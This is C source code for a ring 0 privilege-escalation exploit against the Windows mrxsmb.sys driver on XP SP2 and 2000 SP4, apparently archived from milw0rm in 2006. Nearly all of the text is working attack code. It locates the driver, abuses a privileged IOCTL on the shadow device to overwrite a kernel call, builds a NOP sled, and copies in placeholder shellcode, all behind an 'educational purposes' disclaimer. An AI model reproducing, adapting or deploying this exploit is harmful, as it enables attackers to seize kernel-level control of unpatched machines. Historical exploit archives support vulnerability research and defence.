/////////////////////////////////////////////////////////////////////////////////////// // Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005) // Tested on XP SP2 && 2K SP4 // Disable ReadOnly Memory protection // HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\EnforceWriteProtection = 0 // ----------------------------------------------------------------------------------- // ONLY FOR EDUCATIONAL PURPOSES. // ----------------------------------------------------------------------------------- // Rubén Santamarta. // www.reversemode.com // ----------------------------------------------------------------------------------- // OVERVIEW // ----------------------------------------------------------------------------------- // There are 3 possible values to change in order to adjust the exploit to other versions. // # XPSP2 (XP Service Pack 2) // This variable is equal to the File offset of the Call that we are modifying minus 0xC //. #XPSP2 => 3D88020000 cmp eax,000000288 //. 770B ja .000064BBE -- //. 50 push eax //. 51 push ecx //. E812E2FFFF call .000062DCC -- MODIFIED CALL -- // ----------------------------------------------------------------------------------- // #W2KSP4 (Windows 2000 Service Pack 4) // The same method previosly explained but regarding to Windows 2000 Service Pack 4. // ----------------------------------------------------------------------------------- // $OffWord // This variable is defined in CalcJump() Function. // E812E2FFFF call .000062DCC -- MODIFIED CALL -- // The exploit calculates automatically the relative jump, but we need to provide it // the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP // OffWord will be equal to 0xE212. ////////////////////////////////////////////////////////////////////////////////////// #include #include #define XPSP2 0x54BAC #define W2KSP4 0x50ADD #define MAGIC_IOCTL 0x141043 typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*, DWORD , LPDWORD); typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase, LPTSTR lpBaseName, DWORD nSize); VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); } DWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr) { DWORD SumTemp; DWORD IniAddress; DWORD i; DWORD sumAux; DWORD addTemp; DWORD OffWord; if(InXP) { SumTemp=BaseMRX+XPSP2+0xE; OffWord=0xE212; } else { SumTemp=BaseMRX+W2KSP4+0xE; OffWord=0xa971; } for(i=0x4c;i<0xDDDC;i=i+4) { sumAux=~((i*0x10000)+OffWord); addTemp=SumTemp-sumAux; if(addTemp>0xE000000 && addTemp<0xF000000){ IniAddress=addTemp&0xFFFFF000; *hValue=i-4; *ShellAddr=addTemp; break; } } printf("\nINFORMATION \n"); printf("-----------------------------------------------------\n"); printf("Patched Driver Call pointing to \t [0x%p]\n",addTemp); return (IniAddress); } int main(int argc, char *argv[]) { PENUMDEVICES pEnumDeviceDrivers; PGETDEVNAME pGetDeviceDriverBaseName; LPVOID arrMods[200],addEx; DWORD cb,i,devNum,dwTemp,hValue,Ring0Addr,junk,ShellAddr,BaseMRX=0; DWORD *OutBuff,*InBuff; HANDLE hDevice; BOOL InXP; CHAR baseName[255]; CONST CHAR Ring0ShellCode[]="\xCC"; //"PUT YOUR RING0 CODE HERE :)" if(argc<2) { printf("\nMRXSMB.SYS RING0 Exploit\n"); printf("--- Ruben Santamarta ---\n"); printf("Tested on XPSP2 & W2KSP4\n"); printf("\nusage> exploit.exe or <2K>\n"); exit(1); } if(strncmp(argv[1],"XP",2)==0) InXP=TRUE; else InXP=FALSE; pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary("psapi.dll"), "EnumDeviceDrivers"); pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary("psapi.dll"), "GetDeviceDriverBaseNameA"); pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb); devNum=cb/sizeof(LPVOID); printf("\nSearching Mrxsmb.sys Base Address..."); for(i=1;i<=devNum;i++) { pGetDeviceDriverBaseName(arrMods[i],baseName,254); if((strncmp(baseName,"mrxsmb",6)==0)) { printf("[%x] Found!\n",arrMods[i]); BaseMRX=(DWORD)arrMods[i]; } } if(!BaseMRX) { printf("Not Found\nExiting\n\n"); exit(1); } addEx=(LPVOID)CalcJump(BaseMRX,InXP,&hValue,&ShellAddr); OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!OutBuff) ShowError(); printf("F000h bytes allocated at \t\t [0x%p]\n",addEx); printf("Value needed \t\t\t [0x%p]\n",hValue+4); InBuff=OutBuff; printf("Checking Shadow Device..."); hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) ShowError(); printf("[OK]\n"); printf("Querying Device...\n"); while(OutBuff[3]< hValue) { DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize OutBuff, 0x18,// OutBuffer,OutBufferSize &junk, // bytes returned (LPOVERLAPPED) NULL); printf("\r\t[->]VALUES: (%x)",OutBuff[3]); } if(InXP) Ring0Addr=BaseMRX+XPSP2; else Ring0Addr=BaseMRX+W2KSP4; printf("Overwritting Driver Call at[%x]...",Ring0Addr); DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize (LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x &junk, // bytes returned (LPOVERLAPPED) NULL); printf("[OK]\n"); for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090; memcpy((LPVOID*)ShellAddr,(LPVOID*)Ring0ShellCode,sizeof(Ring0ShellCode)); printf("Sending IOCTL to execute the ShellCode\n"); DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize OutBuff, 0x18,// OutBuffer,OutBufferSize &junk, // bytes returned (LPOVERLAPPED) NULL); dwTemp=CloseHandle(hDevice); if(!dwTemp) ShowError(); dwTemp=VirtualFree(OutBuff,0xf000,MEM_DECOMMIT); if(!dwTemp) ShowError(); return(1); } // milw0rm.com [2006-06-14]